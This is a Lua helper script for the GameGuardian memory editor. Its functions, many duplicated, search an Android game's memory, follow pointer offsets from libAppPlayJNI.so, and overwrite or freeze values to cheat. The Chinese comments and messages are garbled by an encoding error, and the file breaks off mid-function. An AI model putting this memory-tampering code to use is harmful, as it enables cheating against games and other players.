--Lua By GGä¿®æ”¹å™¨
--å¼€æº�
--äººæœºå†·å¦‚æ¢¦
--å¦‚ä½•å�šä¸€å��ä¸“ä¸šçš„äºŒæ”¹ä¸“å®¶ï¼Ÿ
--Copyright HNPHQS
--Github
--Gitee


QQ=gg.alert([[
äººæœºå†·å¦‚æ¢¦ ç›´æ�¥å¼€æº�å¥½å�§
 ]])
QQ=gg.alert([[å¦‚ä½•å�šä¸€å��ä¸“ä¸šçš„äºŒæ”¹ä¸“å®¶?]])


lde,mnsj={},{Dj="0.01",dv={},lz="/sdcard/.zbb",r={}} lde.gre,lde.sbr,lde.srg,lde.crs=gg.getResults,gg.searchNumber,gg.setRanges,gg.clearResults
function lde.qb()table.remove(bc,#bc)table.remove(bc,#bc)end
function bv(a,b) if not b then b=","end if not tostring(a):find(b)then return{a}end local tab={}local i=0 while true do j=string.find(a,b,i+1) if not j then table.insert(tab,a:sub(i+1,#a)) break end table.insert(tab,a:sub(i+1,j-1)) i=j end return tab end
function so(a,b,c) local cKG=gg.getRanges() gg.setVisible(false) lde.srg(a[3]) lde.crs() lde.sbr(a[2],a[4]) local js=gg.getResultCount() local count=lde.gre(js) lde.crs() if #count~=0 then local lode,lope,lobe={},{},{} for p=1,#b do lode[p]={} for i=1,#count do lode[p][i]={} lode[p][i].address=count[i].address+b[p][2] if not b[p][3]then b[p][3]=a[4]end lode[p][i].flags=b[p][3]end lode[p]=gg.getValues(lode[p]) db=bv(b[p][1],"~") if not db[2]then db[2]=db[1]end for i=1,#lode[p] do if tonumber(lode[p][i].value)>=tonumber(db[1]) and tonumber(lode[p][i].value)<=tonumber(db[2]) then lope[#lope+1]={} lope[#lope]=count[i] end end if #lope==0 then lde.srg(cKG)if p>11 then p=11 end return "å¼€å�¯å¤±è´¥" end count=lope lope={}end for i=1,#c do for n=1,#count do lope[#lope+1]={} lope[#lope].address=count[n].address+c[i][2] if not c[i][3]then c[i][3]=a[4]end lope[#lope].flags=c[i][3] if c[i][1] then lope[#lope].value=c[i][1] else lope[#lope].value=gg.getValues(lope)[#lope].value end if c[i][4] then lobe[#lobe+1]={} lobe[#lobe]=lope[#lope] table.remove(lope,#lope) end if c[i][4]==1 then lobe[#lobe].freeze=true elseif c[i][4]==2 then lobe[#lobe].freeze=false end if c[i][5] then lobe[#lobe].name=c[i][5] end end end gg.setValues(lope) gg.addListItems(lobe) lde.srg(cKG) return a[1].."å¼€å�¯æˆ�åŠŸ" else lde.srg(cKG) return a[1].."å¼€å�¯å¤±è´¥!!!" end end
function xe(name,offset,i) local re=gg.getRangesList(name) local x64=gg.getTargetInfo().x64 local va={[true]=32,[false]=4} if re[i or 1] then local addr=re[i or 1].start+offset[1] for i=2,#offset do addr=gg.getValues({{address=addr,flags=va[x64]}}) if not x64 then addr[1].value=addr[1].value&0xFFFFFFFF end addr=addr[1].value+offset[i] end return addr end end function gg.edits(addr,Table,name) local Table1={{},{}} for k,v in ipairs(Table) do local value={address=addr+v[3],value=v[1],flags=v[2],freeze=v[4]} if v[4] then Table1[2][#Table1[2]+1]=value else Table1[1][#Table1[1]+1]=value end end gg.addListItems(Table1[2]) gg.setValues(Table1[1]) gg.toast((name or "") .. "å¼€å�¯æˆ�åŠŸ, å…±ä¿®æ”¹"..#Table.."ä¸ªå€¼") end
function readValue(read) local bf={} for i,v in ipairs(read) do bf[i]={address=v[1],flags=v[2]} end bf=gg.getValues(bf)  for i=1,#bf do  bf[i]=bf[i].value  end return bf end
function gg.edits(addr,Table,name) local Table1 = {{}, {}} for k, v in ipairs(Table) do local value={address=addr+v[3],value=v[1],flags=v[2],freeze=v[4]}if v[4] then Table1[2][#Table1[2]+1]=value else Table1[1][#Table1[1]+1]=value end end gg.addListItems(Table1[2])gg.setValues(Table1[1]) gg.toast((name or "") .. "å¼€å�¯æˆ�åŠŸ, å…±ä¿®æ”¹"..#Table.."ä¸ªå€¼") end local sod,so_bss,xdd='libAppPlayJNI.so','libAppPlayJNI.so:bss',gg.getRangesList("libAppPlayJNI.so:bss") 
function nc_offset(addr,tablex,tt) for i,v in ipairs(tablex) do if v[4]==true then gg.addListItems({{address=addr+v[3],flags=v[2],value=v[1],freeze=v[4]}})else gg.setValues({{address=addr+v[3],flags=v[2],value=v[1]}}) end end gg.toast((tt or "").."å¼€å�¯æˆ�åŠŸ") end function getso(So_name) return gg.getRangesList(So_name)[1].start end function BaAdd(add) t=gg.getValues({[1]={address=add,flags=4}}) return t[1].value&0xFFFFFFFF end function readPointer(Add,Item) for i=1,(#Item-1) do Add=BaAdd(Add+Item[i]) end return Add+Item[#Item] end function setvalue(add,value,falgs,dj) local WY={} WY[1]={} WY[1].address=add WY[1].value=value WY[1].flags=falgs if dj==true then WY[1].freeze=true gg.addListItems(WY) else gg.setValues(WY) end end function getnc(Name,nc) local t=gg.getRangesList(Name) for i, v in ipairs(t) do if v.state==nc then return v.start end end end function SearchWrite(Search, Write, Type)gg.clearResults()gg.setVisible(false)gg.searchNumber(Search[1][1], Type)local count = gg.getResultCount()local result = gg.getResults(count)gg.clearResults()local data = {} local base = Search[1][2]   if (count > 0) then for i, v in ipairs(result) do v.isUseful = true end for k=2, #Search do local tmp = {}local offset = Search[k][2] - base local num = Search[k][1]  for i, v in ipairs(result) do tmp[#tmp+1] = {}  tmp[#tmp].address = v.address + offset tmp[#tmp].flags = v.flags end tmp = gg.getValues(tmp)  for i, v in ipairs(tmp) do if ( tostring(v.value) ~= tostring(num) ) then result[i].isUseful = false  end end end  for i, v in ipairs(result) do if (v.isUseful) then  data[#data+1] = v.address end end if (#data > 0) then   gg.toast("\næ³¨å…¥"..#data.."æ�¡æ•°æ�®")  local t = {} local base = Search[1][2] for i=1, #data do   for k, w in ipairs(Write) do   offset = w[2] - base t[#t+1] = {}  t[#t].address = data[i] + offset   t[#t].flags = Type   t[#t].value = w[1] if (w[3] == true) then local item = {}  item[#item+1] = t[#t] item[#item].freeze = true  gg.addListItems(item) end  end   end gg.setValues(t) else gg.toast("\nå¼€å�¯å¤±è´¥", false) return false end else gg.toast("\nå¼€å�¯å¤±è´¥")return false end end function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) xgsl = xgsl + 1 end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "\nå¼€å�¯å¤±è´¥") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "\nå¼€å�¯å¤±è´¥") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) xgjg = true end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "\nå¼€å�¯æˆ�åŠŸ\næ³¨å…¥" .. xgsl .. "\næ�¡æ•°æ�®") else gg.toast(qmnb[2]["name"] .. "\nå¼€å�¯å¤±è´¥") end end end end lde={} lde.gre,lde.sbr,lde.srg,lde.crs=gg.getResults,gg.searchNumber,gg.setRanges,gg.clearResults function so(a,b,c) local cSY=gg.getRanges()  lde.srg(a[3]) lde.crs() lde.sbr(a[2],a[4]) local js=gg.getResultCount() local count=lde.gre(js) lde.crs() if #count~=0 then local lode,lope,lobe={},{},{} for p=1,#b do lode[p]={} for i=1,#count do lode[p][i]={} lode[p][i].address=count[i].address+b[p][2] if not b[p][3] then b[p][3]=a[4] end lode[p][i].flags=b[p][3] end lode[p]=gg.getValues(lode[p]) db=bv(b[p][1],"~") if not db[2] then db[2]=db[1] end for i=1,#lode[p] do if tonumber(lode[p][i].value)>=tonumber(db[1]) and tonumber(lode[p][i].value)<=tonumber(db[2]) then lope[#lope+1]={} lope[#lope]=count[i] end end if #lope==0 then lde.srg(cSY) if p>11 then p=11 end return a[1].."å¼€å�¯å¤±è´¥" end count=lope lope={} end for i=1,#c do for n=1,#count do lope[#lope+1]={} lope[#lope].address=count[n].address+c[i][2] if not c[i][3] then c[i][3]=a[4] end lope[#lope].flags=c[i][3] if c[i][1] then lope[#lope].value=c[i][1] else lope[#lope].value=gg.getValues(lope)[#lope].value end if c[i][4] then lobe[#lobe+1]={} lobe[#lobe]=lope[#lope] table.remove(lope,#lope) end if c[i][4]==1 then lobe[#lobe].freeze=true else if c[i][4]==2 then lobe[#lobe].freeze=false end end if c[i][5] then lobe[#lobe].name=c[i][5] end end end gg.setValues(lope) gg.addListItems(lobe) lde.srg(cSY) return a[1].."å¼€å�¯æˆ�åŠŸ" else lde.srg(cSY) return a[1].."å¼€å�¯å¤±è´¥" end end    D=gg.TYPE_DWORD  E=gg.TYPE_DOUBLE  F=gg.TYPE_FLOAT W=gg.TYPE_WORD B=gg.TYPE_BYTE X=gg.TYPE_XOR Q=gg.TYPE_QWORD function SearchWrite(Search, Write, Type)gg.clearResults()gg.setVisible(false)gg.searchNumber(Search[1][1], Type)local count = gg.getResultCount()local result = gg.getResults(count)gg.clearResults()local data = {} local base = Search[1][2] if (count > 0) then for i, v in ipairs(result) do v.isUseful = true end for k=2, #Search do local tmp = {}local offset = Search[k][2] - base local num = Search[k][1] for i, v in ipairs(result) do tmp[#tmp+1] = {} tmp[#tmp].address = v.address + offset tmp[#tmp].flags = v.flags end tmp = gg.getValues(tmp) for i, v in ipairs(tmp) do if ( tostring(v.value) ~= tostring(num) ) then result[i].isUseful = false end end end for i, v in ipairs(result) do if (v.isUseful) then data[#data+1] = v.address end end if (#data > 0) then   gg.toast("æ�œç´¢åˆ°"..#data.."æ�¡æ•°æ�®") local t = {}   local base = Search[1][2]   for i=1, #data do   for k, w in ipairs(Write) do   offset = w[2] - base   t[#t+1] = {}  t[#t].address = data[i] + offset  t[#t].flags = Type t[#t].value = w[1]   if (w[3] == true) then local item = {}  item[#item+1] = t[#t]  item[#item].freeze = true gg.addListItems(item)end end end gg.setValues(t) else gg.toast("not found", false)return false end else gg.toast("Not Found") return false end end function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] xgdj = qmxg[x]["freeze"] if xgdj == nil or xgdj == "" then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "å¼€å�¯å¤±è´¥") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "å¼€å�¯å¤±è´¥") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "å¼€å�¯æˆ�åŠŸ,å·²æ³¨å…¥" .. xgsl .. "æ�¡æ•°æ�®") else gg.toast(qmnb[2]["name"] .. "å¼€å�¯å¤±è´¥") end end end end function setvalue(address,flags,value) PS('ä¿®æ”¹åœ°å�€æ•°å€¼(åœ°å�€,æ•°å€¼ç±»å�‹,è¦�ä¿®æ”¹çš„å€¼)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end function PS() end function setvalue(address,flags,value) PS('ä¿®æ”¹åœ°å�€æ•°å€¼(åœ°å�€,æ•°å€¼ç±»å�‹,è¦�ä¿®æ”¹çš„å€¼)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end function S_Pointer(t_So, t_Offset, _bit)local function getRanges()local ranges = {}local t = gg.getRangesList('^/data/*.so*$')for i, v in pairs(t) do if v.type:sub(2, 2) == 'w' then table.insert(ranges, v)end end return ranges end local function Get_Address(N_So, Offset, ti_bit)local ti = gg.getTargetInfo()local S_list = getRanges()local _Q = tonumber(0x167ba0fe)local t = {} local _t local _S = nil if ti_bit then _t = 32 else	_t = 4 end for i in pairs(S_list) do local _N = S_list[i].internalName:gsub('^.*/', '') if N_So[1] == _N and N_So[2] == S_list[i].state then	_S = S_list[i] break end end if _S then t[#t + 1] = {} t[#t].address = _S.start + Offset[1] t[#t].flags = _t if #Offset ~= 1 then for i = 2, #Offset do local S = gg.getValues(t) t = {} for _ in pairs(S) do if not ti.x64 then	S[_].value = S[_].value & 0xFFFFFFFF	end	t[#t + 1] = {}	t[#t].address = S[_].value + Offset[i] t[#t].flags = _t end end end	_S = t[#t].address print(string.char(231,190,164,58).._Q)end return _S	end	local _A = string.format('0x%X', Get_Address(t_So, t_Offset, _bit))return _A end recover=gg.getResults(100000) function AppSearch(SSYR,XGNR,BCNR,notWrite)  gg.clearResults()  gg.setRanges(SSYR["M"])  gg.searchNumber(SSYR[1]["mv"],SSYR[1]["lx"],false,gg.SIGN_EQUAL,(SSYR[1]["addr"] or nil),(SSYR[1]["toAddr"] or nil))  jg=gg.getResults(100000)  local base=(SSYR[1]["offs"] or 0)  local data={}  if #jg==0 then gg.toast("åŠŸèƒ½å��:"..(SSYR.name or "æ— ").."\n".."ä¿®æ”¹å¤±è´¥\n"..(SSYR["error"] or ""))gg.loadResults(recover)return nil  end  for i=1,#jg do jg[i].Useful=true  end for k=2,#SSYR do  if not SSYR[k] then break  end  local content={}  local offset=SSYR[k]["offs"]-base  local value=SSYR[k]["sv"]  local type=SSYR[k]["lx"] local to=(SSYR[k]["to"] or value)  local num={}  if to<value then to,value=value,to  end  for i=1,#jg do if jg[i].Useful==true then  table.insert(content,{}) content[#content].address=jg[i].address+offset content[#content].flags=type num[#num+1]=i end end if #content==0 then gg.toast("åŠŸèƒ½å��:"..(SSYR.name or "æ— ").."\n".."ä¿®æ”¹å¤±è´¥\n"..(SSYR["error"] or "")) gg.loadResults(recover) return nil end content=gg.getValues(content)for i,v in pairs(content) do if tonumber(v.value)<tonumber(value) or tonumber(v.value)>tonumber(to) then jg[num[i]].Useful=false end end end for j=1,#jg do  if jg[j].Useful==true then data[#data+1]=jg[j].address  end end  if #data==0 then gg.toast("åŠŸèƒ½å��:"..(SSYR.name or "æ— ").."\n".."ä¿®æ”¹å¤±è´¥\n"..(SSYR["error"] or ""))gg.loadResults(recover)return nil  end  if notWrite==true then gg.loadResults(recover)return data  end  if XGNR then  local write={}  for i=1,#data do for j=1,#XGNR do  write[#write+1]={} write[#write].address=data[i]+(XGNR[j][2]-base) write[#write].flags=XGNR[j][3]  write[#write].value=XGNR[j][1]  write[#write].freeze=XGNR[j][4]  write[#write].name=XGNR[j][5] or nil  if write[#write].freeze==true then gg.addListItems({[1]=write[#write]}) else gg.setValues({[1]=write[#write]})end if XGNR[j][6]==true then gg.addListItems({[1]=write[#write]})end end end end if BCNR then local bc={}for j=1,#data do for i=1,#BCNR do bc[#bc+1]={}bc[#bc].address=data[j]+(BCNR[i][1]-base)bc[#bc].flags=BCNR[i][2]bc[#bc].name=BCNR[i][3]end end gg.addListItems(bc)end gg.toast("åŠŸèƒ½å��:"..(SSYR.name or "æ— ").."\n".."[ä¿®æ”¹æˆ�åŠŸ]")gg.loadResults(recover)end    function so(a,b,c) local cSY=gg.getRanges() gg.setVisible(false) lde.srg(a[3]) lde.crs() lde.sbr(a[2],a[4]) local js=gg.getResultCount() local count=lde.gre(js) lde.crs() if #count~=0 then local lode,lope,lobe={},{},{} for p=1,#b do lode[p]={} for i=1,#count do lode[p][i]={} lode[p][i].address=count[i].address+b[p][2] if not b[p][3]then b[p][3]=a[4]end lode[p][i].flags=b[p][3]end lode[p]=gg.getValues(lode[p]) db=bv(b[p][1],"~") if not db[2]then db[2]=db[1]end for i=1,#lode[p] do if tonumber(lode[p][i].value)>=tonumber(db[1]) and tonumber(lode[p][i].value)<=tonumber(db[2]) then lope[#lope+1]={} lope[#lope]=count[i] end end if #lope==0 then lde.srg(cSY)if p>11 then p=11 end return "å¼€å�¯å¤±è´¥" end count=lope lope={}end for i=1,#c do for n=1,#count do lope[#lope+1]={} lope[#lope].address=count[n].address+c[i][2] if not c[i][3]then c[i][3]=a[4]end lope[#lope].flags=c[i][3] if c[i][1] then lope[#lope].value=c[i][1] else lope[#lope].value=gg.getValues(lope)[#lope].value end if c[i][4] then lobe[#lobe+1]={} lobe[#lobe]=lope[#lope] table.remove(lope,#lope) end if c[i][4]==1 then lobe[#lobe].freeze=true elseif c[i][4]==2 then lobe[#lobe].freeze=false end if c[i][5] then lobe[#lobe].name=c[i][5] end end end gg.setValues(lope) gg.addListItems(lobe) lde.srg(cSY) return a[1].."å¼€å�¯æˆ�åŠŸ" else lde.srg(cSY) return a[1].."å¼€å�¯å¤±è´¥!!!" end end
local zb={}local getsl=gg.getResultCount function bgtss(text,flag,Ran) gg.clearResults() gg.setRanges(Ran) gg.searchNumber(text,flag) end function bgtgs(num,flag) if gg.getResultCount()>0 then gg.refineNumber(num,flag) end end function readValue(addr, type)local t = {}t[1] = {}t[1].address = addr t[1].flags = type return gg.getValues(t)[1].value end function QC(qmnb,qmxg)gg.setVisible(false)gg.clearResults()qmnbv=qmnb[3]["value"]or qmnb[3][1]qmnbt=qmnb[3]["type"]or qmnb[3][2]qmnbn=qmnb[2]["name"]or qmnb[2][1]gg.setRanges(qmnb[1]["memory"]or qmnb[1][1])gg.searchNumber(qmnbv,qmnbt)gg.refineNumber(qmnbv,qmnbt)sz=gg.getResultCount()if sz==0 then gg.toast(qmnbn.."å¼€å�¯å¤±è´¥ï¼Œè¯·å°�è¯•é‡�å�¯æ¸¸æˆ�")else sl=gg.getResults(999999)for i=1,sz do pdsz=true for v=4,#qmnb do if pdsz==true then pysz={{}}pysz[1].address=sl[i].address+(qmnb[v]["offset"]or qmnb[v][2])pysz[1].flags=qmnb[v]["type"]or qmnb[v][3]szpy=gg.getValues(pysz)tzszpd=tostring(qmnb[v]["lv"]or qmnb[v][1]):gsub(",","")pyszpd=tostring(szpy[1].value):gsub(",","")if tzszpd==pyszpd then pdjg=true pdsz=true else pdjg=false pdsz=false end end end if pdjg==true then szpy=sl[i].address for x=1,#qmxg do xgsz=qmxg[x]["value"]or qmxg[x][1]xgpy=szpy+(qmxg[x]["offset"]or qmxg[x][2])xglx=qmxg[x]["type"]or qmxg[x][3]xgdj=qmxg[x]["freeze"]or qmxg[x][4]xg={{address=xgpy,flags=xglx,value=xgsz}}if xgdj==true then xg[1].freeze=xgdj gg.addListItems(xg)else gg.setValues(xg)end end xgjg=true end end if xgjg==true then gg.toast(qmnbn.."å¼€å�¯æˆ�åŠŸ\n          å…±æ³¨å…¥ 1 æ�¡æ•°æ�®")else gg.toast(qmnbn.."å¼€å�¯å¤±è´¥ï¼Œè¯·å°�è¯•é‡�å�¯æ¸¸æˆ�")end end end
function WX(qmnb,qmxg)gg.setVisible(false)gg.clearResults()qmnbv=qmnb[3]["value"]or qmnb[3][1]qmnbt=qmnb[3]["type"]or qmnb[3][2]qmnbn=qmnb[2]["name"]or qmnb[2][1]gg.setRanges(qmnb[1]["memory"]or qmnb[1][1])gg.searchNumber(qmnbv,qmnbt)gg.refineNumber(qmnbv,qmnbt)sz=gg.getResultCount()if sz==0 then gg.toast(qmnbn.."å¼€å�¯å¤±è´¥ï¼Œè¯·å°�è¯•æ›´æ�¢æˆ¿é—´")else sl=gg.getResults(999999)for i=1,sz do pdsz=true for v=4,#qmnb do if pdsz==true then pysz={{}}pysz[1].address=sl[i].address+(qmnb[v]["offset"]or qmnb[v][2])pysz[1].flags=qmnb[v]["type"]or qmnb[v][3]szpy=gg.getValues(pysz)tzszpd=tostring(qmnb[v]["lv"]or qmnb[v][1]):gsub(",","")pyszpd=tostring(szpy[1].value):gsub(",","")if tzszpd==pyszpd then pdjg=true pdsz=true else pdjg=false pdsz=false end end end if pdjg==true then szpy=sl[i].address for x=1,#qmxg do xgsz=qmxg[x]["value"]or qmxg[x][1]xgpy=szpy+(qmxg[x]["offset"]or qmxg[x][2])xglx=qmxg[x]["type"]or qmxg[x][3]xgdj=qmxg[x]["freeze"]or qmxg[x][4]xg={{address=xgpy,flags=xglx,value=xgsz}}if xgdj==true then xg[1].freeze=xgdj gg.addListItems(xg)else gg.setValues(xg)end end xgjg=true end end if xgjg==true then gg.toast(qmnbn.."å¼€å�¯æˆ�åŠŸï¼Œè¯·åˆ‡æ�¢ä¸€ä¸‹ç‰©å“�\n å…±æ³¨å…¥ 1 æ�¡å†»ç»“æ•°æ�®")else gg.toast(qmnbn.."å¼€å�¯å¤±è´¥ï¼Œè¯·å°�è¯•æ›´æ�¢æˆ¿é—´")end end end
 function XE(qmnb,qmxg)gg.setVisible(false)gg.clearResults()qmnbv=qmnb[3]["value"]or qmnb[3][1]qmnbt=qmnb[3]["type"]or qmnb[3][2]qmnbn=qmnb[2]["name"]or qmnb[2][1]gg.setRanges(qmnb[1]["memory"]or qmnb[1][1])gg.searchNumber(qmnbv,qmnbt)gg.refineNumber(qmnbv,qmnbt)sz=gg.getResultCount()if sz==0 then gg.toast(qmnbn.."å¼€å�¯å¤±è´¥ï¼Œè¯·å°�è¯•é‡�å�¯æ¸¸æˆ�")else sl=gg.getResults(999999)for i=1,sz do pdsz=true for v=4,#qmnb do if pdsz==true then pysz={{}}pysz[1].address=sl[i].address+(qmnb[v]["offset"]or qmnb[v][2])pysz[1].flags=qmnb[v]["type"]or qmnb[v][3]szpy=gg.getValues(pysz)tzszpd=tostring(qmnb[v]["lv"]or qmnb[v][1]):gsub(",","")pyszpd=tostring(szpy[1].value):gsub(",","")if tzszpd==pyszpd then pdjg=true pdsz=true else pdjg=false pdsz=false end end end if pdjg==true then szpy=sl[i].address for x=1,#qmxg do xgsz=qmxg[x]["value"]or qmxg[x][1]xgpy=szpy+(qmxg[x]["offset"]or qmxg[x][2])xglx=qmxg[x]["type"]or qmxg[x][3]xgdj=qmxg[x]["freeze"]or qmxg[x][4]xg={{address=xgpy,flags=xglx,value=xgsz}}if xgdj==true then xg[1].freeze=xgdj gg.addListItems(xg)else gg.setValues(xg)end end xgjg=true end end if xgjg==true then gg.toast(qmnbn.."å¼€å�¯æˆ�åŠŸ\n å…±æ³¨å…¥ 1 æ�¡æ•°æ�®")else gg.toast(qmnbn.."å¼€å�¯å¤±è´¥ï¼Œè¯·å°�è¯•é‡�å�¯æ¸¸æˆ�")end end end 
 function CA(qmnb,qmxg)gg.setVisible(false)gg.clearResults()qmnbv=qmnb[3]["value"]or qmnb[3][1]qmnbt=qmnb[3]["type"]or qmnb[3][2]qmnbn=qmnb[2]["name"]or qmnb[2][1]gg.setRanges(qmnb[1]["memory"]or qmnb[1][1])gg.searchNumber(qmnbv,qmnbt)gg.refineNumber(qmnbv,qmnbt)sz=gg.getResultCount()if sz==0 then gg.toast(qmnbn.."å¼€å�¯å¤±è´¥ï¼Œè¯·å°�è¯•é‡�å�¯æ¸¸æˆ�")else sl=gg.getResults(999999)for i=1,sz do pdsz=true for v=4,#qmnb do if pdsz==true then pysz={{}}pysz[1].address=sl[i].address+(qmnb[v]["offset"]or qmnb[v][2])pysz[1].flags=qmnb[v]["type"]or qmnb[v][3]szpy=gg.getValues(pysz)tzszpd=tostring(qmnb[v]["lv"]or qmnb[v][1]):gsub(",","")pyszpd=tostring(szpy[1].value):gsub(",","")if tzszpd==pyszpd then pdjg=true pdsz=true else pdjg=false pdsz=false end end end if pdjg==true then szpy=sl[i].address for x=1,#qmxg do xgsz=qmxg[x]["value"]or qmxg[x][1]xgpy=szpy+(qmxg[x]["offset"]or qmxg[x][2])xglx=qmxg[x]["type"]or qmxg[x][3]xgdj=qmxg[x]["freeze"]or qmxg[x][4]xg={{address=xgpy,flags=xglx,value=xgsz}}if xgdj==true then xg[1].freeze=xgdj gg.addListItems(xg)else gg.setValues(xg)end end xgjg=true end end if xgjg==true then gg.toast(qmnbn.."å¼€å�¯æˆ�åŠŸ\n å…±æ³¨å…¥ 1 æ�¡æ•°æ�®")else gg.toast(qmnbn.."å¼€å�¯å¤±è´¥ï¼Œè¯·å°�è¯•é‡�å�¯æ¸¸æˆ�")end end end function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]['offset'] xglx = qmxg[x]['type'] xgsz = qmxg[x]['value'] xgdj = qmxg[x]['freeze'] if xgdj == nil or xgdj == '' then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]['memory']) gg.searchNumber(qmnb[3]['value'], qmnb[3]['type']) if gg.getResultCount() == 0 then gg.toast('à¼€id'..qmnb[2]['name'] .. 'å¼€å�¯å¤±è´¥à¼€') else gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) if gg.getResultCount() == 0 then gg.toast('à¼€id'..qmnb[2]['name'] .. 'æƒ…ä¹¦ä¸¢å¤±à¼€') else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]['offset'] pysz[1].flags = qmnb[v]['type'] szpy = gg.getValues(pysz) pdpd = qmnb[v]['lv'] .. ';' .. szpy[1].value szpd = split(pdpd, ';') tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast('\nâœ”ï¸�id:'..qmnb[2]['name']..'æˆ�åŠŸğŸ“�å…±ä¿®æ”¹' .. xgsl .. 'å°�æƒ…ä¹¦') else gg.toast('à¼€id'..qmnb[2]['name'] .. 'å¼€å�¯å¤±è´¥ï¼Œæƒ…ä¹¦ä¸�è§�äº†à¼€') end end end end --[[é…�ç½®1]]function js(address,flags,value) local jz={} jz[1]={} jz[1].address=address jz[1].flags=flags jz[1].value=value gg.setValues(jz) end --[[é…�ç½®2]]function jz(py,a,xgsz) flags=a value=xgsz so=gg.getRangesList(''..name..'')[1].start js(so+py,a,xgsz) end function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find (szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len (szFullString)) break end nSplitArray[nSplitIndex] = string.sub (szFullString, nFindStartIndex, nFindLastIndex - 1) 